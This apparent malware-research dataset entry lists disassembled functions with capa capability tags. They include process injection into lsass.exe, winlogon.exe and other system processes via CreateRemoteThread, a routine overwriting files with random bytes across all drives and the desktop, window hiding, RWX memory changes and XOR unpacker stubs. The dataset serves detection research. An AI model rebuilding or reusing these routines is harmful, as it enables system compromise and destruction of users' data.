joyce8/EMBER2024-capa huggingface dataset:
Function at 0x70a2547c
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x70a254aa
push esi
call fcn.70a29cb5
cmp dword [esi + 0x40], 0
pop ecx
je 0x70a254a3
xor eax, eax
mov dword [esi + 0x14], 0xcf
inc eax
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x70a2551a
mov eax, dword [esi + 0x1b4]
cmp dword [eax + 0x10], 0
je 0x70a2550c
mov eax, dword [esi + 8]
test eax, eax
je 0x70a254cb
push esi
call dword [eax]
pop ecx
mov eax, dword [esi + 0x1b4]
push esi
call dword [eax]
pop ecx
test eax, eax
je 0x70a25508
cmp eax, 2
je 0x70a2550c
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x70a254c0
cmp eax, 3
je 0x70a254ef
cmp eax, 1
jne 0x70a254c0
inc dword [ecx + 4]
mov ecx, dword [ecx + 4]
mov eax, dword [esi + 8]
cmp ecx, dword [eax + 8]
jl 0x70a254c0
mov ecx, dword [esi + 0x140]
add dword [eax + 8], ecx
jmp 0x70a254c0
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
mov dword [esi + 0x98], eax
jmp 0x70a25538
cmp eax, 0xcc
je 0x70a25538
mov eax, dword [esi]
mov dword [eax + 0x14], 0x14
mov eax, dword [esi]
mov ecx, dword [esi + 0x14]
mov dword [eax + 0x18], ecx
mov eax, dword [esi]
push esi
call dword [eax]
pop ecx
call fcn.70a25347
pop esi
ret

Function at 0x70a3746e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x70a3747d
pop dword [ebp - 0x34]
mov eax, 0x5ae04b01
sub eax, 0xea3cd684
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xfc9f7c30
sub dword [ebp - 0x44], 0xae4d36e5
mov dword [ebp - 0x40], 0x9b5e2695
sub dword [ebp - 0x40], 0x692ada50
mov dword [ebp - 0x3c], 0xfb702f57
add dword [ebp - 0x3c], 0x50dc14d7
mov dword [ebp - 0x38], 0x67d3d2b5
add dword [ebp - 0x38], 0x982c2d4b
lea eax, [ebp - 0x44]
push eax
mov eax, 0x5317d6a9
sub eax, 0xe273e66d
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xb73c1f70
sub dword [ebp - 0x44], 0x42c9b61a
mov dword [ebp - 0x40], 0x335f01fd
sub dword [ebp - 0x40], 0xf1f2a088
mov dword [ebp - 0x3c], 0xe5ed0800
add dword [ebp - 0x3c], 0x7d82646c
mov dword [ebp - 0x38], 0x8bedcba4
sub dword [ebp - 0x38], 0x8bedcba4
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xc7f90667
sub eax, 0x575515c3
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x36613
push 0
call eax
mov ecx, 0x7647554f
add ecx, 0x89b8e89a
xor esi, esi
add esi, eax
mov edi, 0xb50e5fba
add edi, 0xbb969246
add edi, dword [ebp - 0x34]
mov ebx, 0x9f0e330
add ebx, 0xd7361ddb
xor dword [ebp - 0x14], 0xd31e2bd6
mov edx, dword [edi]
xor dword [ebp - 0xc], 0xbb79f7cb
sub edx, ebx
add dword [ebp - 0x24], 0x60913325
mov dword [esi], edx
mov dword [ebp - 0x18], 0x3f6a9257
add esi, 0xe846dbf2
add esi, 0x17b92412
add edi, 4
loop 0x70a375a1
add eax, 0x89cbce05
add eax, 0x76351c72
mov ebx, eax
add eax, 0xeb08897f
add eax, 0x14f77686
mov ecx, 0x70a20000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x70a3c040
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call edi
sub eax, dword [esi + 0x289c]
push 1
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x292c], eax
call edi
sub eax, dword [esi + 0x28a0]
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x2930], eax
mov eax, dword [esi + 0x2d50]
test eax, eax
je 0x70a3c0af
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [esi + 0x28a0]
push dword [esi + 0x289c]
push dword [esi + 0x2930]
push dword [esi + 0x292c]
push dword [esi + 0x2d50]
call dword [sym.imp.USER32.dll_MoveWindow]
push esi
call fcn.70a3746e
pop ecx
pop edi
pop esi
ret

Function at 0x70a3e380
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x70a3e38a
repz ret
jmp fcn.70a3e8d3
Function at 0x413200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ebp
xchg edi, eax
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00412e47
push eax
push esi
call dword [eax + 0x56]
push dword [ebp + 8]
call fcn.00412dfc
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00412e47
push eax
push esi
push dword [ebp + 8]
call fcn.00412dfc
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00412e37
push ds
loop 0x413302
jno 0x413242
popfd
jl 0x4132bc
invalid
invalid
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.00412e37
sti
invalid
push dword [ecx - 0x7275084a]
test dword [edi + edi*8 - 1], edi
call dword [eax - 0x18]
sbb al, 0xfb
invalid
Function at 0x41353e
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x41350e
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x41352c
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
sal edi, 0xb5
push esp
invalid
invalid
invalid
cmp eax, dword [ebp - 0x44]
ja 0x41358a
mov edx, edi
mov dword [ebp + 8], edi
or byte [ecx + 0x865], al
add byte [eax - 0x77], al
jge 0x413569
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x413571
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x41357a
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x413584
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe fcn.00413566
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
js 0x413590
invalid
jmp dword [esi - 0x75]
dec ebp
or al, 0x66
cmp ecx, dword [eax + 6]
jbe 0x4134f0
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x4135d7
dec eax
je 0x4135ce
sub eax, 3
je 0x4135c5
mov dword [ebp - 4], 0x40
jmp 0x4135f4
mov dword [ebp - 4], 4
jmp 0x4135da
mov dword [ebp - 4], 0x20
jmp 0x4135da
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x413626
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x4135a6
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00412e37
adc esp, dword [ecx + 0x75ffc4ee]
adc al, 0x6a
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x413632
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41354e
Capabilities:
Inspect section memory permissions

Disassembly:
or byte [ecx + 0x865], al
add byte [eax - 0x77], al
jge 0x413569
Function at 0x413566
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x41350e
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x41352c
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
sal edi, 0xb5
push esp
invalid
invalid
invalid
cmp eax, dword [ebp - 0x44]
ja 0x41358a
mov edx, edi
mov dword [ebp + 8], edi
or byte [ecx + 0x865], al
add byte [eax - 0x77], al
jge 0x413569
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x413571
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x41357a
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x413584
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe fcn.00413566
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
js 0x413590
invalid
jmp dword [esi - 0x75]
dec ebp
or al, 0x66
cmp ecx, dword [eax + 6]
jbe 0x4134f0
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x4135d7
dec eax
je 0x4135ce
sub eax, 3
je 0x4135c5
mov dword [ebp - 4], 0x40
jmp 0x4135f4
mov dword [ebp - 4], 4
jmp 0x4135da
mov dword [ebp - 4], 0x20
jmp 0x4135da
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x413626
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x4135a6
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00412e37
adc esp, dword [ecx + 0x75ffc4ee]
adc al, 0x6a
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x413632
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x413cbe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [esp - 4], eax
popal
add esp, 0x14
jmp dword [esp - 0x38]
jne 0x413cb1
invalid
Function at 0x405a03
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x405a12
pop dword [ebp - 0x2c]
mov eax, 0x83d36bf3
sub eax, 0x839311e1
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x115d139a
sub dword [ebp - 0x3c], 0xc30ace4f
mov dword [ebp - 0x38], 0xae7ccf0f
sub dword [ebp - 0x38], 0x7c4982ca
mov dword [ebp - 0x34], 0x12854a7a
add dword [ebp - 0x34], 0x39c6f9b4
mov dword [ebp - 0x30], 0x5485c9ba
add dword [ebp - 0x30], 0xab7a3646
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x63d5d9ff
sub dword [ebp - 0x3c], 0xef6370a9
mov dword [ebp - 0x38], 0xd12d003f
sub dword [ebp - 0x38], 0x8fc09eca
mov dword [ebp - 0x34], 0xcf4826e5
sub dword [ebp - 0x34], 0x6bd8ba79
mov dword [ebp - 0x30], 0xccd070f9
sub dword [ebp - 0x30], 0xccd070f9
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xcedc25f1
add eax, 0x31645b0f
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x33c40
push 0
call eax
mov ecx, 0x10bc8c14
sub ecx, 0x10bc50f0
mov edx, eax
mov esi, 0x46e400
add esi, dword [ebp - 0x2c]
mov ebx, 0x26f3f303
add ebx, 0x8446f20f
add dword [ebp - 0x10], esi
mov edi, dword [esi]
mov dword [ebp - 4], 0x1c36279b
xor edi, ebx
mov dword [ebp - 0x14], 0x5fdd6942
mov dword [edx], edi
xor dword [ebp - 8], 0xf9b2834a
add edx, 0x17d1efea
add edx, 0xe82e101a
add esi, 0x9fd74a35
sub esi, 0x9fd74a31
loop 0x405b29
add eax, 0xdf63
mov ebx, eax
add eax, 5
mov ecx, 0xcb9e29ed
sub ecx, 0xcb5e29ed
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x405cce
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x425f30
push esi
call fcn.00406212
push esi
call fcn.00405c71
mov edi, eax
test edi, edi
jne 0x405cef
xor eax, eax
jmp 0x405d47
push edi
call fcn.004064a6
test byte [0x42a258], 0x80
je 0x405d0c
mov ax, word [edi]
test ax, ax
je 0x405ceb
cmp ax, 0x5c
je 0x405ceb
sub edi, esi
sar edi, 1
jmp 0x405d26
call fcn.00406555
test eax, eax
je 0x405d20
test byte [eax], 0x10
je 0x405ceb
push esi
call fcn.00405c12
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405d12
call fcn.00405bc6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405dc2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405de1
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405de7
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileW]
ret 0xc
Function at 0x4014af
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x154
call sym._GetCurrentProcess_0
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov dword [esp], 2
call sym._CreateToolhelp32Snapshot_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x401599
mov dword [ebp - 0x13c], 0x128
lea eax, [ebp - 0x13c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._Process32First_8
sub esp, 8
test eax, eax
je 0x401589
mov ebx, dword [ebp - 0x134]
call sym._GetCurrentProcessId_0
cmp ebx, eax
jne 0x40156a
mov eax, dword [ebp - 0x134]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401588
mov dword [esp + 4], 0x40
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._SetPriorityClass_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x401588
lea eax, [ebp - 0x13c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._Process32Next_8
sub esp, 8
test eax, eax
jne 0x40150b
jmp 0x401589
nop
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x40159a
nop
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x40159f
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
call sym._GetCurrentProcess_0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GetProcessId_4
sub esp, 4
mov dword [ebp - 0x14], eax
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401661
jmp 0x401635
mov eax, dword [ebp - 0x20]
cmp eax, 0x1000
jne 0x401628
mov eax, dword [ebp - 0x18]
cmp eax, 0x1000000
je 0x4015fa
mov eax, dword [ebp - 0x18]
cmp eax, 0x40000
jne 0x401628
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x34]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._VirtualProtectEx_20
sub esp, 0x14
nop
jmp 0x401661
mov eax, dword [ebp - 0x30]
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [esp + 0xc], 0x1c
lea eax, [ebp - 0x30]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._VirtualQueryEx_16
sub esp, 0x10
test eax, eax
jne 0x4015dc
nop
leave
ret
Function at 0x401664
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
jmp 0x4016c5
mov eax, dword [ebp - 0x18]
cmp eax, 0x1000
jne 0x4016b8
mov eax, dword [ebp - 0x10]
cmp eax, 0x1000000
je 0x401691
mov eax, dword [ebp - 0x10]
cmp eax, 0x40000
jne 0x4016b8
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x2c]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
nop
jmp 0x4016e6
mov eax, dword [ebp - 0x28]
mov edx, eax
mov eax, dword [ebp - 0x1c]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 0x1c
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
jne 0x401673
nop
leave
ret
Function at 0x4016e9
Capabilities:
Create thread
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov dword [ebp - 0x30], str.explorer.exe
mov dword [ebp - 0x2c], str.svchost.exe
mov dword [ebp - 0x28], str.lsass.exe
mov dword [ebp - 0x24], str.spoolsv.exe
mov dword [ebp - 0x20], str.winlogon.exe
mov dword [ebp - 0xc], 0
jmp 0x40189d
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x30]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x158], 0x128
mov dword [esp + 4], 0
mov dword [esp], 2
call sym._CreateToolhelp32Snapshot_8
sub esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x4017ef
lea eax, [ebp - 0x158]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._Process32First_8
sub esp, 8
test eax, eax
je 0x4017e1
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
lea eax, [ebp - 0x158]
add eax, 0x24
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4017c2
mov eax, dword [ebp - 0x150]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4017e0
lea eax, [ebp - 0x158]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._Process32Next_8
sub esp, 8
test eax, eax
jne 0x40177c
jmp 0x4017e1
nop
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
cmp dword [ebp - 0x10], 0
je 0x401886
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], sym._myMaliciousCode_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401863
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], str.Injection_succeeded_in_process__s._n
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x401876
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], str.Injection_failed_in_process__s._n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x401899
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], str._s_not_found._n
call sym._printf
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, 4
jbe 0x401721
nop
leave
ret

Function at 0x4018ac
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call sym._GetConsoleWindow_0
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
nop
leave
ret
Function at 0x4018d3
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov dword [esp + 4], 0x40c15c
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401907
mov dword [esp], str.Error_opening_file
call sym._perror
jmp 0x401a26
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40197b
mov dword [esp], str.Error_allocating_memory
call sym._perror
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
jmp 0x401a26
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0xc], 0
jmp 0x4019cc
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
lea ebx, [edx + eax]
call sym._rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov byte [ebx], al
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jl 0x4019a5
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
add esp, 0x24
pop ebx
pop ebp
ret
Function at 0x401a2c
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
mov dword [ebp - 0xc], 0xffffffff
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x14c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._FindFirstFileA_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401a96
mov dword [esp], str.Error_opening_directory
call sym._perror
jmp 0x401b75
mov dword [esp + 4], 0x40c1a8
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401b47
mov dword [esp + 4], 0x40c1aa
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401b47
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp - 0x14c]
and eax, 0x10
test eax, eax
je 0x401b23
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._encryptFilesRecursive
jmp 0x401b47
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._encryptFile
lea eax, [ebp - 0x250]
mov dword [esp + 4], eax
mov dword [esp], str._s_has_been_encrypted._n
call sym._printf
lea eax, [ebp - 0x14c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindNextFileA_8
sub esp, 8
test eax, eax
jne 0x401a96
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindClose_4
sub esp, 4
leave
ret

Function at 0x401b77
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call sym._GetLogicalDrives_0
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], 0x5c3a41
mov byte [ebp - 0xd], 0x41
jmp 0x401be4
mov eax, dword [ebp - 0xc]
and eax, 1
test eax, eax
je 0x401bd7
movzx eax, byte [ebp - 0xd]
mov byte [ebp - 0x18], al
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sym._GetDriveTypeA_4
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
je 0x401bcc
cmp dword [ebp - 0x14], 2
je 0x401bcc
cmp dword [ebp - 0x14], 4
je 0x401bcc
cmp dword [ebp - 0x14], 5
jne 0x401bd7
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sym._encryptFilesRecursive
shr dword [ebp - 0xc], 1
movzx eax, byte [ebp - 0xd]
add eax, 1
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0x5a
jle 0x401b92
nop
leave
ret

Function at 0x401bed
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
lea eax, [ebp - 0x10c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x10
mov dword [esp], 0
call sym._SHGetFolderPathA_20
sub esp, 0x14
test eax, eax
je 0x401c39
mov dword [esp], str.Error_getting_desktop_directory_path
call sym._perror
jmp 0x401c47
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._encryptFilesRecursive
leave
ret